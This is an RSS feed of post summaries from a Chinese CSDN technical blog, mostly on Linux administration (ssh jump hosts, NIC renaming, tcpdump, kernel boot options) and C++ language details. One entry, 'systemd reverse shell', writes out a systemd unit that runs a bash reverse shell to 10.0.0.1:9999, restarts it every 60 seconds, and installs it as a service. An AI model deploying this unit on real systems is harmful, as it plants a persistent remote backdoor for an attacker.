<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[rainharder的专栏]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/rainharder</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; rainharder]]></copyright><item><title><![CDATA[ssh通过跳板机免密登陆]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/143566776</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/143566776</guid><author>rainharder</author><pubDate>Wed, 06 Nov 2024 14:23:52 +0800</pubDate><description><![CDATA[需要：A通过B（跳板机）免密登陆C方法参考https://serverfault.com/questions/337274/ssh-from-a-through-b-to-c-using-private-key-on-b如果频繁使用，可以写入。]]></description><category></category></item><item><title><![CDATA[centos网卡重命名方法]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/135016014</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/135016014</guid><author>rainharder</author><pubDate>Fri, 15 Dec 2023 14:22:36 +0800</pubDate><description><![CDATA[centos7以后网卡命名采用一致性网络设备命名（Consistent Network Device Naming），不再是eth0,eth1这种简单的命名。在某些场景下简单的网卡名称能让事情更简单，下面是几种网卡改名的方案。]]></description><category></category></item><item><title><![CDATA[通过tcpdump对Unix Domain Socket 进行抓包解析]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/132906669</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/132906669</guid><author>rainharder</author><pubDate>Fri, 15 Sep 2023 16:37:23 +0800</pubDate><description><![CDATA[大多时候我们可以通过tcpdump对网络抓包分析请求、响应数据来排查问题。但是如果程序是通过Unix Domain Socket方式来访问的那么tcpdump就看不到Unix Domain Socket里面具体流淌的内容了，本文希望找到一种方法达到如同抓包查看网卡内容一样来抓包查看Unix Domain Socket上具体的请求、响应数据。]]></description><category></category></item><item><title><![CDATA[Shell中的${}、##和%%使用范例]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/132694119</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/132694119</guid><author>rainharder</author><pubDate>Tue, 05 Sep 2023 16:01:01 +0800</pubDate><description><![CDATA[bash对变量字符串的操作，包括：
1. 删除变量字符串的一部分
2. 提取变量字符串的一段
3. 对变量值里的字符串作替换]]></description><category></category></item><item><title><![CDATA[自制系统基础镜像]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/131838941</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/131838941</guid><author>rainharder</author><pubDate>Thu, 20 Jul 2023 20:33:57 +0800</pubDate><description><![CDATA[制作系统基础镜像]]></description><category></category></item><item><title><![CDATA[ssh登陆慢的深度排查]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/130929411</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/130929411</guid><author>rainharder</author><pubDate>Mon, 29 May 2023 15:40:45 +0800</pubDate><description><![CDATA[ssh登陆慢的深度排查方法]]></description><category></category></item><item><title><![CDATA[python启动https server]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/130382133</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/130382133</guid><author>rainharder</author><pubDate>Wed, 26 Apr 2023 11:16:54 +0800</pubDate><description><![CDATA[启动http server很简单，一行命令。启动https server的方法。]]></description><category></category></item><item><title><![CDATA[shell循环两个变量]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/129406883</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/129406883</guid><author>rainharder</author><pubDate>Wed, 08 Mar 2023 16:51:03 +0800</pubDate><description><![CDATA[【代码】shell循环两个变量。]]></description><category></category></item><item><title><![CDATA[shell 中 字符串比较 x”$variable”的使用]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/129036614</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/129036614</guid><author>rainharder</author><pubDate>Wed, 15 Feb 2023 08:40:52 +0800</pubDate><description><![CDATA[shell 中 字符串比较 x”$variable”的使用
]]></description><category></category></item><item><title><![CDATA[c++11 闭包的实现]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/120016201</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/120016201</guid><author>rainharder</author><pubDate>Tue, 31 Aug 2021 13:59:32 +0800</pubDate><description><![CDATA[什么是闭包

闭包有很多种定义，一种说法是，闭包是带有上下文的函数。说白了，就是有状态的函数。更直接一些，不就是个类吗？换了个名字而已。

一个函数，带上了一个状态，就变成了闭包了。那什么叫 “带上状态” 呢？ 意思是这个闭包有属于自己的变量，这些个变量的值是创建闭包的时候设置的，并在调用闭包的时候，可以访问这些变量。

函数是代码，状态是一组变量，将代码和一组变量捆绑 (bind) ，就形成了闭包。

闭包的状态捆绑，必须发生在运行时。



仿函数：重载 operator()


#define _CR]]></description><category></category></item><item><title><![CDATA[How to create an HTTPS certificate for localhost domains]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/115509616</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/115509616</guid><author>rainharder</author><pubDate>Thu, 08 Apr 2021 10:46:31 +0800</pubDate><description><![CDATA[How to create an HTTPS certificate for localhost domains

This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.

Do not use self-signed certificates in production !For online certific...]]></description><category></category></item><item><title><![CDATA[粗识openmp]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/108381754</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/108381754</guid><author>rainharder</author><pubDate>Thu, 03 Sep 2020 14:29:01 +0800</pubDate><description><![CDATA[看到一段代码利用openmp并行执行for循环，觉得这玩意真方便，一行代码就完事了，就上网学习。
大致看完之后得出个结论，这玩意也就只能for循环用用。个人粗浅的认识，接受一切反驳。
理由如下：

上手有门槛，初级功能简单方便，想用好高级功能还是挺麻烦的。
跨平台、多编译器支持：不是决定性优势，跨平台的线程库也不少。
多线程很多情况下是启动不同的处理函数，这种场景用std::thread/pthread也麻烦不到哪去，同步什么的控制起来更熟悉。

总之：学习成本（特别是团队）与收益不成正比。
但是，如果有大]]></description><category></category></item><item><title><![CDATA[noexcept与栈展开（stack unwinding）]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/108377446</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/108377446</guid><author>rainharder</author><pubDate>Thu, 03 Sep 2020 11:05:35 +0800</pubDate><description><![CDATA[noexcept说明
在C++11之后，表示函数不会抛出异常的动态异常声明throw()被新的noexcept异常声明所取代。
该关键字告诉编译器，函数中不会发生异常,这有利于编译器对程序做更多的优化。
如果在运行时，noexecpt函数向外抛出了异常（如果函数内部捕捉了异常并完成处理，这种情况不算抛出异常），程序会直接终止，调用std::terminate()函数，该函数内部会调用std::abort()终止程序。
从语法上讲，noexcept修饰符有两种形式，一种就是简单地在函数声明后加上noexcep]]></description><category></category></item><item><title><![CDATA[new T加不加括号的区别]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/108375110</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/108375110</guid><author>rainharder</author><pubDate>Thu, 03 Sep 2020 09:17:40 +0800</pubDate><description><![CDATA[new对象时加不加括号有什么区别？
new T;
new T();

总结两句话：

建议使用new T();，明确调用构造函数。
用new T;就表示不关心是否初始化，一般后续会有初始化语句。

new T;的行为不确定，与类定义、编译器实现有关。x详见附录【1】
struct A { int m; }; // POD
// 注：这里与附录不同，增加virtual编译器才生成默认构造函数，可能跟跟编译器版本有关
struct B { virtual ~B(); int m; }; // non-POD, ]]></description><category></category></item><item><title><![CDATA[C++ POD类型]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/108375472</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/108375472</guid><author>rainharder</author><pubDate>Thu, 03 Sep 2020 09:16:45 +0800</pubDate><description><![CDATA[在C++11标准中，POD出现的概率特别高，目测是非常重要的一个概念，以往都是看的一知半解。今天抽空专门研究下POD究竟是什么，到底有多重要，有什么作用呢？

POD (Plain Old Data)，是C++语言的标准中定义的一类数据结构，通常用于说明一个类型的属性，尤其是自定义用户类型的属性，同时POD属性在C++11往往又是构建其他C++概念的从基础。

百度百科中定义：POD适用于需要明确的数据底层操作的系统中。POD通常被用在系统的边界处，即指不同系统之间只能以底层数据的形式进行交互，系统...]]></description><category></category></item><item><title><![CDATA[编译器生成默认构造函数的情况]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/108325012</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/108325012</guid><author>rainharder</author><pubDate>Mon, 31 Aug 2020 17:01:29 +0800</pubDate><description><![CDATA[编译器生成默认构造函数的情况

　　

在类没有显示声明构造函数的情况下，编译器并不总是为我们自动生成默认构造函数，以下4种情况，编译器才会为我们自动生成默认构造函数：



　　1.类中有一个类成员含有默认构造函数的，编译器会为该类自动生成默认构造函数，自动插入代码，调用该成员的构造函数；



　　2.基类中含有默认构造函数，编译器会为该类自动生成默认构造函数，自动插入代码，调用基类的构造函数；



　　3.类中含有虚函数时，由于编译器要为该类生成虚函数表vtable，并为该类的对象生成指向该v...]]></description><category></category></item><item><title><![CDATA[systemd reverse shell]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/107779309</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/107779309</guid><author>rainharder</author><pubDate>Tue, 04 Aug 2020 09:37:23 +0800</pubDate><description><![CDATA[创建rshell.service文件
[Unit]
Description=reverse shell

[Service]
ExecStart=/usr/bin/bash -c 'bash -i &gt;&amp; /dev/tcp/10.0.0.1/9999 0&gt;&amp;1'
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

安装
cp rshell.service /lib/systemd/system/
ln -]]></description><category></category></item><item><title><![CDATA[Linux 内核引导的若干选项]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/107778593</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/107778593</guid><author>rainharder</author><pubDate>Tue, 04 Aug 2020 09:12:46 +0800</pubDate><description><![CDATA[在低延迟等场景中，看到了一些引导参数，对提升响应速度，降低延迟有一定效果，记录说明如下。以下均来自网络，描述不一定非常准确，仅供了解。


isolcpus=CPU编号列表
将列表中的CPU从内核SMP平衡和调度算法中剔除。
可以将特定的CPU隔离出来只给指定进程使用。


nohz_full=CPU列表
在内核"CONFIG_NO_HZ_FULL=y"的前提下，指定哪些CPU核心可以进入完全无滴答状态。
如果你有一个100Hz的滴答，那么每秒100次，操作系统会唤醒，检查是否有任何定时器已经过期，如果有则]]></description><category></category></item><item><title><![CDATA[Linux 内核引导选项简介]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/107778835</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/107778835</guid><author>rainharder</author><pubDate>Tue, 04 Aug 2020 09:11:08 +0800</pubDate><description><![CDATA[作者：金步国

版权声明

本文作者是一位开源理念的坚定支持者，所以本文虽然不是软件，但是遵照开源的精神发布。

无担保：本文作者不保证作品内容准确无误，亦不承担任何由于使用此文档所导致的损失。
	自由使用：任何人都可以自由的阅读/链接/打印此文档，无需任何附加条件。
	名誉权：任何人都可以自由的转载/引用/再创作此文档，但必须保留作者署名并注明出处。
其他作品

本文作者十分愿意与他人分享劳动成果，如果你对我的其他翻译作品或者技术文章有兴趣，可以在如下位置查看现有的作品集：

金步国作品集[http:..]]></description><category></category></item><item><title><![CDATA[ext4 No space left on device]]></title><link>https://blog.youkuaiyun.com/rainharder/article/details/106691591</link><guid>https://blog.youkuaiyun.com/rainharder/article/details/106691591</guid><author>rainharder</author><pubDate>Thu, 11 Jun 2020 16:38:33 +0800</pubDate><description><![CDATA[问题
磁盘使用的ext4文件系统，一个目录下存了大量文件，再写入文件时报空间不足，但空间和inode都没有满
原因
如果目录下文件过多，ext4文件系统的dir_index特性会采用hash tree加快文件名查找：
linear directory or hash tree

如果1个block（默认为4096字节）已经存放不下了已有的entry，那么就要转向hash tree了

可以通过命令缺省确认dir_index是否开启
tune2fs -l /dev/sdb| grep -o dir_index]]></description><category></category></item></channel></rss>